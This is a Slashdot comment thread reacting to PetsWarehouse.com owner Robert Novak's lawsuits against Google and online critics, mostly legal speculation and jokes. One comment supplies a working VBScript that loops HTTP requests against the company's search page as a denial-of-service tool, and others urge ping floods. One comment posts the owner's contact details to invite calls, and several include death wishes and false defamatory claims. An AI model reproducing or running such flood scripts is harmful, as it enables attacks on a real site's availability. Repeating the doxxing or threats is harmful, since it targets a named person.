  216. GREAT Deals on Stuff (DoS) by blunte · · Score: 1
    I highly recommend that everyone _frequently_ check back to the site PetSwarehouse for great Deals on Stuff (DoS) for pets. And be sure you don't get a cached copy, or else you just might miss out on great Deals on Stuff (DoS).

    In fact, companies like this really need all the business they can get, so it helps them very much if more and more people visit their site more often. Imagine all the business they will do!

    --
    .sigs are for post^Hers.
  217. Your very own "AT HOME SLAHDOTTING KIT" by CySurflex · · Score: 2, Insightful

    save this as a .VBS and double click on it....

    On Error Resume Next
    Do While Not 1=2
    Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    strURL = "http://www.petswarehouse.com/search_result.asp?" & _
    "DESCRIPTION=a&" & _
    "MANUFACTURER=ALL&" & _
    "PRODUCT_ID=&" & _
    "CATEGORY=&" & _
    "SQLStmt=&ScrollAction=Page+20"
    objXMLHTTP.open "GET",strURL,"False"
    objXMLHTTP.send
    Set objXMLHTTP = Nothing
    Loop
    On Error Goto 0

    1. Re:Your very own "AT HOME SLAHDOTTING KIT" by Str8Dog · · Score: 1

      LOL that is still funny!

      you stupid 20 second rule

      --


      Str8Dog
      using System.Darkside; public
  218. Fun, but not a bright Idea... by Anonymous Coward · · Score: 1, Informative

    This login and the comments maybe true, and amusing however, linking back to slashdot probably wasn't a good idea. Now he knows where the comments are originating from, and has the ability to sue. Since these comments are rather degrading and malicous(although funny to us), he'll either just get angry, or get even. Do we really want slashdot to get sued over this? PetsWarehouse isn't even a technology related company (if you consider pets don't program or use linux). It's nice to support those who are on the recieving end of being sued. But at the same time we wouldn't want slashdot to be owned by petswarehouse.

  219. Re:my experience with PET SWEARHOUSE dot com by Anonymous Coward · · Score: 0

    I personally saw him take cute adorable puppies and puncture their eyes with apolstery needles. Once he force-fed Fluffy the rabbit from a bag full of my sister's old scabs. And then there was the time he wiped his ass with my cat!

    Oh wait, Robert Novak? I thought you said Robert Frost, yeah, that's it. Sorry!

  220. When he loses by Kihaji · · Score: 1

    When he loses on top of repaying all the legal and travel expenses of the people he is sueing, he shoulc legally have to change his name to Ima Asshat. No one with this level of stupidity deserves a normal name.

  221. There it goes by spackbace · · Score: 1

    Its finally been /.'d. Took long enough, I'm rather dissapointed in you guys.

    1. Re:There it goes by Anonymous Coward · · Score: 0

      Cmon it took like few minutes........

  222. Oh no! by Anonymous Coward · · Score: 0

    Now /. is going to be sued for running this story!

  223. This guy reminds me of... by mgessner · · Score: 1

    Bernie Shifman. What a moron!

    --
    "Sometimes the truth is stupid." - Lawrence, creator of Prime Intellect
  224. Google folding under the pressure? by Anonymous Coward · · Score: 0

    In the complaint against Google and the other search engines involved the practive of competitors buying keywords for Sponsored Link type programs.

    I did a Google search for Pets Wharehouse, and all of the sponsered links mentioned in the lawsuit are gone.

    Interesting...

    Bgab

  225. This is ridiculous. by Anonymous Coward · · Score: 0

    How is this even allowed possible? Why aren't such cases thrown out of court? This is seriously bedazzling to me. On what possible grounds could something like this even be considered as a valid case?!

    Is it possible to sue someone back for suing you just for publicity/money? If it is this is what google should do, and on behalf of those who settled.

    Racketeering is what this is.

  226. Found his picture! by ylikone · · Score: 0

    Click here to see what Robert Novak looks like. It took me a while to find this.

    --
    Meh.
  227. So does that mean? by nurb432 · · Score: 1

    If someone looks sideways at me in public I can sue them, and everyone that has any ties, such as the guy that paved the street, or the state for allowing us to walk on the sidewalks??

    Cool.. Federal Retirement Court, here i come!

    --
    ---- Booth was a patriot ----
  228. A win win if you ask me... by Anonymous Coward · · Score: 0

    He gets tons of gay spam, to which he responds in his usual way by sueing the spammers...A win win all the way around...

  229. Does this mean that slashdot will be sued? by mojowantshappy · · Score: 1

    Slashdot carried news about this lawsuit, does that mean slashdot will be sued?

    --

    This page was generated by a Barrel of Circus Midgets, and that is the way I like it!!!

  230. Just In: Novak Sues himself by AaronGeek · · Score: 1

    Hilarious!
    This from the Google cached version of the page.

    New Forum Messages--Join us

    Welcome So sue yourself you friggin idiot, ...
    Welcome I bought some dogfood from petSWEAR...
    Feral cats Update on New Foster Mommy
    Welcome Fuck you Bobby
    Welcome Need Help with 3-Legged Anteater
    Welcome Robert Novak == bin Laden?
    Cats YOU SUCK NOVAK!
    FreshWater Fish Know who you're buying from
    Welcome New! Slashdot.org loves this site. ...
    Welcome ur an a55hole Novak
    Welcome Welcome Opinion of Novak
    Welcome It's not a crime to love animals
    Welcome goatse! ROFFLELLOLOLEROFFLE
    Welcome Don't shop here. Shop anywhere but ...

    Now he can extort money from himself.

  231. Very strange way to advertize... by Observer · · Score: 1

    ...your primary business. If, indeed, it is your primary business any longer, or even has been in the past.

  232. petsovernight.com by jahalme · · Score: 1
    I dunno, maybe I've been playing way too much GTA3 but the first thing that came to my mind while reading the article was:

    "Would you like a giraffe?"

  233. Judge-for-yourself.com - worst search engine? by wpugh · · Score: 1
    I was surprised to see Judge-for-yourself.com listed as a company being sued. It seems to be the worst search engine in existence.

    Try entering any technical term, like "NP complete" or "quantum physics".
    • 15. eBay - Online Auctions
      Find quantum physics or over 1,000,000 other items at eBay.com
    • 25. FIND "quantum physics" at SUZY SEZ
      Window shopping on the web? Suzy Sez is like a stroll down 5th Avenue. From antiques to fine wines Suzy Sez brings together the finest merchants on the web!
    1. Re:Judge-for-yourself.com - worst search engine? by Anonymous Coward · · Score: 0

      I noticed that too. I thought it was a joke. Some sort of trick search engine.

      Pablo

  234. Ok we need lawyers, STAT! by mekkab · · Score: 2

    I'm not sure how much paperwork the lawyer generates, I just know that *I* am gonna get charged a couple of thousand of dollars just to have my lawyer read the inital complaint, and even more to handle the response, even if it is just ascii art of a middle finger.

    I don't think so. $1000 gets you paper work and one court apperance from a blue-blood firm.

    The lawer isn't being sued. I'm being sued. The law firm is just the middle man. He's not scared, because the more time he spends on this case, the more it racks up in legal fees.


    I think this comment is FUD. I think for a case like this there is no contest and I don't think the fees will rise to a tenth of what you are saying.

    Are you a lawyer or in the field?

    Lets TALK to a lawyer. Everyone, right now, open up your phone book, call your local BAR association, get a number and talk to a lawyer about a case like this- defamation suit about something written in an online forum about bad customer service you received.

    See what they say- they may say "just write back saying blah blah blah", they may say "you won't ever have to go to court and this won't cost more than $xxxxx" or they might say "Let's take this to court and this may cost $xxxx"

    And of course talk to different lawyers. I've had some friends in trouble where one lawyer said "I dunno, this may not be good" and the other lawyer say "I can make this go away"

    Guess which one he went with?!

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
  235. Here's one beauty from his messageboard... by SilentReproach · · Score: 2, Informative
    The message board is a third party site and it's still up, even though petswarehouse.com is down or slashdotted.

    In case of slashdotting, here is a comment from the petswarehouse.com website that I saved:



    Here's a nice story found at www.libn.com about the owner of petswarehouse.com (Robert Novak). If you're one of his customers, you might be interested to hear how he deals with complaints:

    Begin quote:

    PetsWarehouse.com founder dries out aquarists in courts
    by KEN SCHACHTER
    This is a tale of underwater gardeners (also known as aquarists), a Copiague businessman, the Internet, a $15 million libel suit and a long and twisting path through the justice system.

    At issue: What are the limits of free speech on the Internet?

    Think you can castigate a company online with impunity? Think again. You could find yourself on the receiving end of a heavy lawsuit.

    The first shot in what has become an epic legal battle was fired last May 15. That's when Dan Resler, a professor in the mathematical sciences department of Virginia Commonwealth University, posted a notice on an online bulletin board of aquatic plant hobbyists.

    "Thinking of buying plants from Pet Warehouse[sic]? Don't. What is crappy is their service! And they're maybe even a bit dishonest."

    That comment came after Resler bought a plant and felt he was overcharged for shipping.

    Resler's online comments triggered an outpouring from others on the bulletin board. Many chimed in with comments like: "Remember petSWEARhouse, buy their plants and you'll be swearing!"

    The businessman in question is Robert Novak, who does business as PetsWarehouse.com (www.petswarehouse.com). The online pet shop shares space at his son's store, Pets Warehouse, in Copiague, he said.

    Within weeks of the postings, Novak was in court. In a lawsuit dated May 30, 2001, and filed in federal eastern district court, Novak named Resler, several other bulletin board participants and Active Window Publications Inc., which hosts the bulletin board.

    The old saw says that an attorney who represents himself has a fool for a lawyer. Whoever made that up didn't envisage Novak, who is serving as his own lawyer. Novak doesn't have a law degree, but he is an old hand at legal wranglings. Talk to him and he cites case law, chapter and verse.

    "It's my hobby," he said.

    --
    Religion is the opium of the people. Evolution is the opium of scientists.
  236. Slashdot Added? by DaytonCIM · · Score: 2

    I'm curious as to what will happen when Mr. Novak adds /. to his ever growing list of defendants.

  237. PetsWhoreHouse by Anonymous Coward · · Score: 0

    Now slashdot can get sued for my opinion. ....right.

    This guy needs to get laid.

  238. Windows ping -t, continous by dfenstrate · · Score: 2

    And don't even think about opening a MS Windows command line and typing ping www.petswarehouse.com -t!

    Why, I wanted to make sure I man I respected and admired very much, Rob Novak, could still operate his business, so I decided I'd ping -t him. You people suck! his ping times have tripled! occasionally they shoot over a second!

    Don't be mean now. (Yes, I use windows. so /. me. )

    --
    Alcohol, Tobacco and Firearms should be the name of a store, not a government agency.
    1. Re:Windows ping -t, continous by JohnnyBolla · · Score: 1

      I can't seem to get that to work in Irix. Ping -f seems to work rather well though, and I can definately see the effect you are refferring to. It's horrible! He should sue.

      --
      Carpe Deez
    2. Re:Windows ping -t, continous by wdr1 · · Score: 2

      You'd have to have a heck of a lot of clients to do a ping DDOS wouldn't you?

      And what does the -t do in windows land?

      -Bill

      --
      SlashSig Karma: Excellent (mostly affected by moderatio
    3. Re:Windows ping -t, continous by ralphie98 · · Score: 1

      -t just pings the host until interrupted by ctrl-c or by closing your command window. I don't know if the t is supposed to stand for anything special but that's what it does.
      yes, it would take quite a few clients to do a ping of death. Doesn't matter much, looks like his site is down anyway so /. has once again done what it does best.

      --
      I am a nobody. Since nobody is perfect, that means that I am perfect.
  239. HIS forum by Captain_Adaquit · · Score: 1

    http://petswarehouse.infopop.cc/6/ubb.x?a=cfrm&s=2 1160954 login: test Bet you can't guess the password. :/ Seems there are just a few posts there and now a new icon for the user. I am thinking his customers aren't going to do much posting there for a while, that is, if he still has customers.

    1. Re:HIS forum by kevin_D777 · · Score: 1

      Log in to his forum http://petswarehouse.infopop.cc/6/ubb.x?a=cfrm&s=2 1160954

  240. You're missing the point by Mr.+Red+Baron · · Score: 1

    More details should be posted soon here, including court documents that tell why Google was added to the suit.

    I'm sure he'll eventually think up of a reason, but at the moment that's beside the point.

  241. Alledgedly by Anonymous Coward · · Score: 0

    The whole reason papers use the word allegedly, and even convicted is to avoid these suits.

    If I were to say that you were a pedophile, and are on trial for molesting a 12 year old girl, this is a statement of fact that may be false, and could get me sued.

    If, on the other hand, I was to say that you were an accused pedophile that allegedly molested a 12 year old, this is nothing but true facts (assuming that you are acutally on trial for the molestation).

    The thing that really burns me is no one cares about the difference. If I say you allegedly molested a girl in the Times, people will believe you did. Even though I know this isn't libel, in my more reactionary moods, I feel it should be, and courts should side more readily with individuals on these decisions. In my more sane moments I realize if this was the case, people would just abuse the shit out of it, as they do every other crumb they are given.

  242. EFF by DaytonCIM · · Score: 2

    I would think this would be the type of case the folks at EFF would love to work. Yet, I don't see any mention of their involvement... kinda curious.

  243. MOD PARENT OFFTOPIC!!! by Anonymous Coward · · Score: 0
  244. Novak & Bankruptcy by Anonymous Coward · · Score: 0

    There seems to be a serious conflict between the claim in the lawsuit that Novak as "since at least as early as 1974, PW has continuously, marketed and sold Live animals and pet related products in interstate commerce under the Pets Warehouse (R) mark." and the fact that when Novak filed a personal bankruptcy back in the early 90s he failed to make any mention of this mark or his claim to it.

    I wonder how the Bankruptcy Trustee for his case would weigh in on the merits of this new lawsuit.

    Don't debtors in Chapter 7 bankruptcy cases have to surrend all assets (unless claimed as exempt) to the Trustee as part of the Bankruptcy Estate? ...musing about what will happen in this new lawsuit.....

  245. Convicted by Anonymous Coward · · Score: 0

    I forgot to make my point about convicted, and am sure no one cares, but I am in a chatty mood.

    After your pedophilia trial, and your incarceration, if I was to publsih that you were a pedophile and molested a 12 year old girl, I could still concievably be sued by you.

    If you were to be shown to be innocent some time later, completely exhonerated of all crimes, my article would once again be false, and you could sue me, presumably. If I publish that you are a convicted pedophile found guilty of molesting a 12 year old girl, then again I have only published facts, regardless of your actual guilt in the situation.

  246. All should post negative comments by Anonymous Coward · · Score: 0

    about PetsWarehouse. I'd like to see him sue all of us.

  247. I was thinking... by Anonymous Coward · · Score: 0

    ...right before I read the last line that you sounded like a drain or a landlord.

    Way to be proud of your idigent status ;)

  248. I emailed him :) by Anonymous Coward · · Score: 0


    subject: 1,000 dog collars
    message:

    You're a cock. Add me to your lawsuit, bitch.

  249. But what can we do?????? by CySurflex · · Score: 1

    Last time this story was posted, I kept reading through the comments looking for the posts that told us what we as a community could do to correct this situation!! The only thing was donation...which I did! (I think that was the first time I ever donated anything) Slashdotting this guys site is fun, but is it really doing anything for this cause? We are tens of thousands of people that really care about this, but to what end can we put this group power to a good use here? -CySurflex

  250. Re:WTF? If unsure call and ask 1-800-991-3299 by HexRei · · Score: 2, Funny

    Oops, I think I just called them and cussed them out. Hope it doesn't happen again in... oh, 5 minutes.

  251. Is it really "winning", when... by tlambert · · Score: 4, Interesting

    Is it really "winning", when Google removes all links to your web site?

    I guess you could always live with print advertising... that really works well on the Internet, doesn't it?

    Clue: URLs in a print advertisements aren't "clickable"...

    -- Terry

    1. Re:Is it really "winning", when... by theoneandonlySL · · Score: 1

      Ooooooh....wow, that's a REALLY good point.
      Even if slashdot lets his site get up and running again, he'll basically have no traffic.

  252. Fuck'em by Anonymous Coward · · Score: 0

    So will he sue his dog for having a dirty ass and looking like him after it got shaved? Send this idiot to the middle east so he think about what life realy is.

  253. Novak...sucks by Anonymous Coward · · Score: 0

    Novak is merely an ex-Ajax addict that needs to be shot or atleast injured in some way...Maybe someone should drop a computer on him??

  254. Who's this Sue everyone keeps talking about? by Anonymous Coward · · Score: 0

    Reading this I can only think: Thank God I do not live in the United States of America!

  255. Sue me... by LegendOfLink · · Score: 1

    What exactly has been said to *coughINMYOPINIONPETSWAREHOUSE.COMISAHORRIBLETERRI BLEDISPICABLEONLINESERVICETHATDESERVESTOBESHUTDOWN cough*

    piss off Robert *coughMEANSPIRITEDUGLYSTUPIDDUMBMOTHERFUCKERWHICHI SONLYASTATEMENTOFMYOPINIONSOYOUCANNOTSUEMEYOUUGLYM ONEYHUNGRYBASTARDcough* Novak?

  256. Imitation or confusing variations by deal · · Score: 1

    "In order to acquire the customers seeking Petwarehouse.com, TFS using the PW Mark in its metatags and buying the keyword Pets Warehouse and colorable imitation or confusing similar variations of Pets Warehouse® thereby confusing, diverting and interfeing with the sales revenue of PW. See Exhibit "C". TFS enjoys significant profits from the unlawful activities complained of herin."

    Now, wouldn't the original petforum comments, as well as confusing comments here on /., bear out that petwarehouse may have a similar claim against petswarehouse, that being the confusing similar variation of name which acts to confuse, divert and interfere with the sales revenue of petwarehouse.com?

  257. Hollywood vs. Detroit by pommiekiwifruit · · Score: 2
    Now there's a lawsuit!

    According to hollywood, if any cars made in detroit are so much as scratched by a road-sign at 20 miles per hour, they will explode in a huge fireball.

    That's gotta be libelous!

  258. OT: Your Sig by Anonymous Coward · · Score: 0

    What's a "clent ID"?

  259. /. his site! by Anonymous Coward · · Score: 0

    take that! see how you like your webserver being pounded to smithereens!!

  260. Breaking news... by Eric+Damron · · Score: 1

    "Also named in it and in the suit that followed were the owner of the mailing list, the owners of several informational sites about the lawsuit, the owners of other forums where the lawsuit was discussed, the attorney for the defense, and several sites that merely ran banner ads promoting the defense fund set up for the lawsuit."

    Added to the list is the Mother's Uncle's friend's boss who admitted reading the Slashdot article about the suit.

    --
    The race isn't always to the swift... but that's the way to bet!
  261. Why? by Anonymous Coward · · Score: 0

    Why doesn't someone just kill him?

    That would make the problem go away.

  262. Lets call and ask him (check out WHOIS): by swordboy · · Score: 3, Informative

    WHIOS PetsWarehouse.com

    Administrative Contact
    Robert Novak-> bob@petswarehouse.com
    Pets Warehouse
    1550 Sunrise Hwy
    Copiague, ny 11726
    US
    Phone 631-789-5400
    Fax 631.789.9340

    --

    Life is the leading cause of death in America.
    1. Re:Lets call and ask him (check out WHOIS): by 0x0d0a · · Score: 2

      Someone's going to be getting a lot of wrong numbers tonight...

    2. Re:Lets call and ask him (check out WHOIS): by Anonymous Coward · · Score: 0

      In other news, Slasdotters worldwide sunk to new lows as they reacted to news about Petwarehouse.com.

      If you react, you're just the same.

      True power lies in action and compassion, not reaction.

  263. Forums are elsewhere by qengho · · Score: 1

    The site is thoroughly slashdotted, but the forums are hosted elsewhere:

    http://petswarehouse.infopop.cc/6/ubb.x?a=frm&s=21 160954&f=241603701

    Somebody add something intelligent, eh?

  264. This is not what it looks like! by BrianH · · Score: 4, Informative

    As much as I despise what Mr. Novak did with the whole fish complaint thing, a quick read of the ACTUAL LAWSUIT shows that this new suit has NOTHING to do with free speech or negative comments from unhappy customers. This is a completely new and UNRELATED lawsuit, that just happens to be from the same guy. Petswarehouse.Com is suing Google, and other search engines and petstores because they are using the Petswarehouse.com trademark to steal customers. Google is included in the suit because they are allowing paid placement customers (competing petstores) to use the PetsWarehouse.Com trademark as a keyword to display their ads. The competing petsores themselves are alleged to have put the petswarehouse.com trademark inside their meta-tags to attract customers. The suit also alleges that PetsWarehouse complained about the trademark infringement to Google, but that Google refused to abide by their own policy and remove the infringing material.

    I hate to say it, but Mr. Novak may actually have a valid trademark suit here!

    --

    There is nothing so pathetic as seeing a beautiful young theory roughed up by a tough gang of facts.
    1. Re:This is not what it looks like! by Anonymous Coward · · Score: 0

      Assume that Novak filed a bankruptcy action several years ago and did NOT disclose any right or claim for the common-law mark "Pets Warehouse" does he even have a case? I seem to recall that in a Chapter 7 bankruptcy the debtor surrendered all assets (including those to intellectual property) to the Bankruptcy Trustee unless claimed as exempt. I can find no indication in the Robert Novak bankruptcy case to any claim for this mark. Any legal experts around here that can help explain the practical effects of a bankruptcy? The bankruptcy case also contains a lot of controversy over a large sailboat the Novak also failed to list in his bankruptcy petition. The bankruptcy judge eventually held that the sailboat was part of the property to be surrendered to the Bankruptcy Trustee. Could it be that Novak is going to be biten by his own action to walk away from over $700,000 in debts?

    2. Re:This is not what it looks like! by Slothrup · · Score: 5, Insightful
      You've posted this twice now, BrianH. Is Novak paying you? Or maybe you are Novak?

      If you really read the lawsuit, you'd see that he's suing because the search terms "pets warehouse" (two words) are bringing up the competing sites. This is as much copyright infringement as the dictionary, which also contains the word "pets" and the word "warehouse". The sites in question have not put the word "petswarehouse" or "petswarehouse.com" in their metatags -- they've put "pets" and "warehouse".

      --
      The difference between theory and practice is that, in theory, there is no difference between theory and practice.
    3. Re:This is not what it looks like! by BrianH · · Score: 2

      You've posted this twice now, BrianH. Is Novak paying you?

      Heh, no. When I refreshed the page after posting it the first time, I realized that it was buried so far down inside the thread that few people would see it. I didn't realize it'd get modded to a five and move up the lists so far, so I reposted it elsewhere under a higher ranking thread. My bad :\
      Or maybe you are Novak?

      With my user number? Very funny. I just happen to have a problem with the misrepresentation that's going on here, and would like more people to actually read the suit.

      If you really read the lawsuit, you'd see that he's suing because the search terms "pets warehouse" (two words) are bringing up the competing sites...The sites in question have not put the word "petswarehouse" or "petswarehouse.com" in their metatags -- they've put "pets" and "warehouse".

      Yes, I did read it, all 18 pages, end to end. His allegation is that they have taken his legally registered trademark "Pets Warehouse", and have placed it in their meta tags and pay for click searches in order to draw business away from people looking for his company. That isn't legal. Now, I don't know how true his allegations are (I didn't look at the meta-tags), but they were never the point of my posts anyway. If he doesn't have any evidence to prove malicious use, Google will probably get a summary dismissal and the whole thing will be tossed.

      I simply wanted to point out that this wasn't related to the earlier suits, despite the 700+ comments that seem to imply that it was.

      --

      There is nothing so pathetic as seeing a beautiful young theory roughed up by a tough gang of facts.
    4. Re:This is not what it looks like! by APD+Mary+Roe · · Score: 1



      Doesn't Bob have a SON named Bryan?

      A SON who is a lawyer??

      Could he be YOU?

      Bob Novak is going it alone via the pro se route. Yea. Right.

    5. Re:This is not what it looks like! by Anonymous Coward · · Score: 0

      You are full of shit. When you copy and paste the same post it is called crapflooding. I read the lawsuit and I used to believe the world was shades of gray. Not any more. This case make a contrarian run and hide. If you are not paid for this then you are officially the dumbest person on slashdot. I am serious.

    6. Re:This is not what it looks like! by Anonymous Coward · · Score: 0

      I could not locate the words in the meta tags on at least one of the sites.

      Nor did searching for pets warehouse with or without quotes bring up the paid links he described.

      Furthermore, paid links are clearly separated from search results, so his claims of confusion and of Google deceit in providing relevant materials are also false.

  265. Re:No, its O.K by Tackhead · · Score: 2
    > I have mod points. Let's see if I get sued for modding this comment [alleging that Mr. Novak was a pedophile] as informative. Because its my opinion also and I believe its true (I heard it on slashdot.)

    Interesting question. IANAL, so I should STFU, but... hey, it's Slashdot. When has ignorance of the subject matter stopped me before?

    I'd think the AC posting the allegation could be sued for libel / defamation of character. He presented the allegation as a fact, not an opinion, and (assuming the allegation is false, which it almost certainly is) cannot claim truth as a defence.

    I'd think, however, that a moderator upmodding such a comment as "Informative" could not be sued, as a Slashdot moderation is just that, an expression of a moderator's opinion of someone else's posting.

    (Are there any landsharks around here crazy enoug to confirm or deny my speculation? :)

  266. Dear *Pet* WareHouse: by Wntrmute · · Score: 3, Interesting

    I have recently learned of a company with a rather similar name to yours, Petswarehouse.com.

    This other company has enganged in numerous frivolous lawsuits against ordinary Internet consumers for speaking their mind. Information here.

    Due to the similarity of your company's name to his, I wanted to inform you that their could be a risk of potential customers confusing your site with his. All the bad publicity his site has recieved could potentially hurt your business, as potential customers get confused, and think your company is the one performing these consumer-unfriendly, immoral acts.

    You may want to bring it to the attention of your lawyers that there is a company with a confusingly similar name, that has generated a large amount of bad publicity that could potentially hurt your business. I'm sure your lawyers can advise you of an appropriate course of action.

    Thank you for your time, A concerned citizen.

    1. Re:Dear *Pet* WareHouse: by Anonymous Coward · · Score: 0

      Very nice, I didn't even think about that till you posted, but bravo.
      DP

    2. Re:Dear *Pet* WareHouse: by Xenographic · · Score: 1

      Good idea--they *really* should sue him for the amount of goodwill they might lose to him, not to mention the obvious customer confusion.

      For once, trademarks might be a good thing!

    3. Re:Dear *Pet* WareHouse: by sdo1 · · Score: 1

      He he... nice.

      I put that in their online form. There's also an email addres...

      CustomerService@DrsFosterSmith.com

      -S

      --
      --- What parts of "shall make no law", "shall not be infringed", and "shall not be violated" don't you understand?
  267. What about us? by Vinnie_333 · · Score: 1

    I wonder if /. will now get sued for running the story. Those PetWarehouse people are sure thorough about suing anyone that may possibly not like them.

    --

    "We shall party like the Greeks of old! You know the ones I mean." - HedonismBot
  268. Are at least some of his complaints valid? by sdsykes · · Score: 1

    Some of Novak's complaints against the search engines are for them selling his trademarked name to his competitors. (See the third lawsuit complaint). This seems valid to me if it is shown to be true. If I owned a company and a search engine sold my company name (or something very similar) to a competitor I would be somewhat annoyed.

  269. Get your Lawyers ready! by Ironix · · Score: 1

    And now he'll probably sue slashdot because of the news thread they ran about a news thread, and links to, that they are suing over.

    --
    Still #1 -- Lonely Gay Geek
  270. Use your public law library if you have one by Anonymous Coward · · Score: 2, Informative

    Here in California, there are a county law libraries at each county. When people file civil suits, they pay a filing fee.(Vary by county and type, but about $200 currently. Will go up soon. Law Libraries get about $10-15 out of that.) Part of that goes the the operation of County Law Libraries.

    Directors of County Law Libraries ususally have both
    a JD and MLIS. May or may not have active bar membership. The staffs usually have paralegal and/or Library school trainings. They can provide assistannce in your research but not providing legal advice. Please be understanding if the library staffs want to stay from that very fine line. They can tell you which form book may have the form you need. But they can not tell you exactly which form you need to use. Etc.

    I am currently working at one of those law libraries while putting myself through library school. About 60% of my patrons are attorneys and 30% are Pro Se/Per Pro litigants. (Researchers/Students make up the rest) Some patrons had great result using our service. Even if you hire an attorney, research on your own can make you a better legal advice consumer.

    Go to American Association of Law Libraries
    http://www.aallnet.org

    Go the chapters, find the regional chapter in your areas to see if there are public law libraries in your area.

  271. slander (OT) by MoneyT · · Score: 2

    Just a question because I'm curious. Does that mean I can bring the moron (who will reply to this message at some point with a load of bull shit) to court for slander as well? Even if his reply to this one doesn't have slander, there are plenty of others I could reference you too.

    --
    T Money
    World Domination with a plastic spoon since 1984
    1. Re:slander (OT) by vsavatar · · Score: 1

      Well, it depends... if he knowingly and maliciously makes a statement to any third party which he knows to be false then it could be considered slander. Libel is actually more serious in some states and could be used in place of slander because it is public and in print. David Turner at Findlaw.com defines slander like this:

      Slander, or oral defamation, occurs when a statement is uttered to a third party which is false and malicious. Some statements are considered so offensive that malice is implied and need not be affirmatively shown. Statements in this category include imputing to another person a crime punishable by law, or making charges against another in reference to that person's trade, office or profession which are likely to injure that person in his or her business. The crime need not be a felony; it is sufficient that a person has been accused of being guilty of a misdemeanor. Statements in the categories discussed in this paragraph do not require proof of actual damages either, contrary to most civil claims for money damages. The reason for this rule is that damage to a claimant's reputation can be presumed when the statement is sufficiently offensive, and also because reputation damages are difficult to prove.

    2. Re:slander (OT) by Anonymous Coward · · Score: 0

      The first rule of SLASHDOT is -- you do not talk about SLASHDOT. The second rule of SLASHDOT is -- you do not talk about SLASHDOT. The third rule of SLASHDOT-- someone yells stop, goes limp, taps out, the fight is over. Fourth rule -- only two guys to a fight. Fifth rule - one fight at a time fellows. Sixth rule -- no FOOLS, no LAMERZ. Seventh rule -- fights will go on as long as they have to. And the eighth and final rule -- if this is your first time at SLASHDOT, you have to fight.
      EXTENDED RULES: Fighting is not for pussies. If you post some dumb ass stuff, or obvious flamebait, PREPARE FOR THE FIGHT! If you cant handle it, leave. Everything that happens in SLASHDOT, STAYS in slashdot.

    3. Re:slander (OT) by MoneyT · · Score: 2

      Would this qualify?

      As for the other person who commented on me having my name as public information. Yeah so what? Does that make stalking someone just because their name is in the phone book legal? Does it make it legal to stalk and harrass them because they frequent a public place?

      --
      T Money
      World Domination with a plastic spoon since 1984
    4. Re:slander (OT) by Anonymous Coward · · Score: 0

      I think your problems here are going to be the following - the offending person is rendering an opinion, its not stated as such, but all the claims are essentially baseless - there is no lie crafted to "destroy" you, its just baseless street language. You can't sue a person in the car next to for screaming, "you fucking asshole." So how does this hurt you? And speaking of harm, how is being "slandered" on Slashdot going to affect how much money you make, and your ability to lead your life, or gain a position in public or a new job? Essentially this: if you roam around "the hood" and get jumped, how much sympathy are people going to have? Can you sue everyone one in the hood for making a bad community where you get jumped? Also, do you not believe in Anonymous? You think people should be discovered for speaking anonymously? That sounds like you have something to hide or you are a totalitarian, or a combination of both. I think being satirized on Slashdot comes with the territory - you really think you can legally pursue this? You're off the wall. About the phone book, that is someone invading your privacy, you can't sue people for making fun of you, and if you were to go into a department store and shop in the fat clothing section, do you really think you could sue someone for calling you a fat-ass? You come to a forum which has flamewars. And you want to sue certain people who make you angry? Stop coming to "the hood." You've made no attempt to remove yourself from the situation and you have no guaranteed right to browse Slashdot without being flamed. If you don't like flames, don't post. Fairly simple. Having freedom comes at a price, I personally value my freedom and if I sat on a grand jury in this case I would throw out the indictment, its complete trash and waste of the court's time. You have no damages or grievances other than, "mommie, he called me names!" You obviously don't believe in amendment on of the US constitution, " Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances. " It doesn't say anything about keeping people you don't like from saying bad things about you. Sorry.

      Take Los Angeles Mt. Disappointment W6NUT 147.435 Repeater as an example. People talk all day long, they can say whatever they want, and sometimes its horrible, unsavory and racist untrue. Possibly even libelous and slanderous. Go look at those recording. But they have a HAM license. Everyone knows who everyone is, and no one gets in trouble. PERIOD. The freedom to speak is protected, and unless you have provable damages, you are wasting your time.

      You have some issues to work out. You have to learn everyone doesn't have to love you, like you or even regard you as human. They go do lots of things to piss you off. But they cannot take your life, they can not take your liberties and rights as described by the constitution (I never though of Slashdot as a constitutional right), and they cannot take your property. Barring that, I don't see any reason to order a gag on a flaming troll. Its obvious he gets to you because you are talking so much about getting back at him with legal ramifications. Why not just ignore of troll back?

    5. Re:slander (OT) by Anonymous Coward · · Score: 0

      Oh, no. Here is one of the billions of people on the earth that thinks he is the center of it all. Are you stupid? You really think you have a leg to stand on? Oh no, he called me names. There are people on earth who starve to death. We have war, disease, and economic crisis, and severe problems, and the whole world needs to grind to a halt and award damages because someone trolled you on Slashdot? Get a fucking life, dude. I mean, Jesus Christ, this is why the courts are clogged with trash. People like you who don't live and let live, get on with this, loser. Change your nick, or ignore it, or feel free to flame back. How many fucking people do you think actually take a troll seriously? Christ. You are so losing the battle of the wits and this point its laughable. One person, in a world of 6 billion, is offended. Now we must all gather and swathe intellectual slave on you, and make the bad man go away. Don't worry pookie bear, mommie and daddy make it okay, we make boogie man go bye bye. You know how much this stupid slander libel shit got rehashed on Usenet? You must be new to the internet, and welcome to it. It's a rough place, and the less policing that goes on here, the better it is for everyone. What are you, some sort of fascist?

    6. Re:slander (OT) by Anonymous Coward · · Score: 0

      Are you really upset or are you trolling?

    7. Re:slander (OT) by MoneyT · · Score: 2
      I'm not saying I would take it to court, I was just curious as to the situation. The person I was replying to had said that slander and libel to be
      accusing him of committing criminal sexual conduct with a minor ... Accusing someone of a criminal charge falsely (even if in jest) is considered slander ... Slander, or oral defamation, occurs when a statement is uttered to a third party which is false and malicious. Some statements are considered so offensive that malice is implied and need not be affirmatively shown. Statements in this category include imputing to another person a crime punishable by law, or making charges against another in reference to that person's trade, office or profession which are likely to injure that person in his or her business. The crime need not be a felony; it is sufficient that a person has been accused of being guilty of a misdemeanor. Statements in the categories discussed in this paragraph do not require proof of actual damages either, contrary to most civil claims for money damages. The reason for this rule is that damage to a claimant's reputation can be presumed when the statement is sufficiently offensive, and also because reputation damages are difficult to prove.


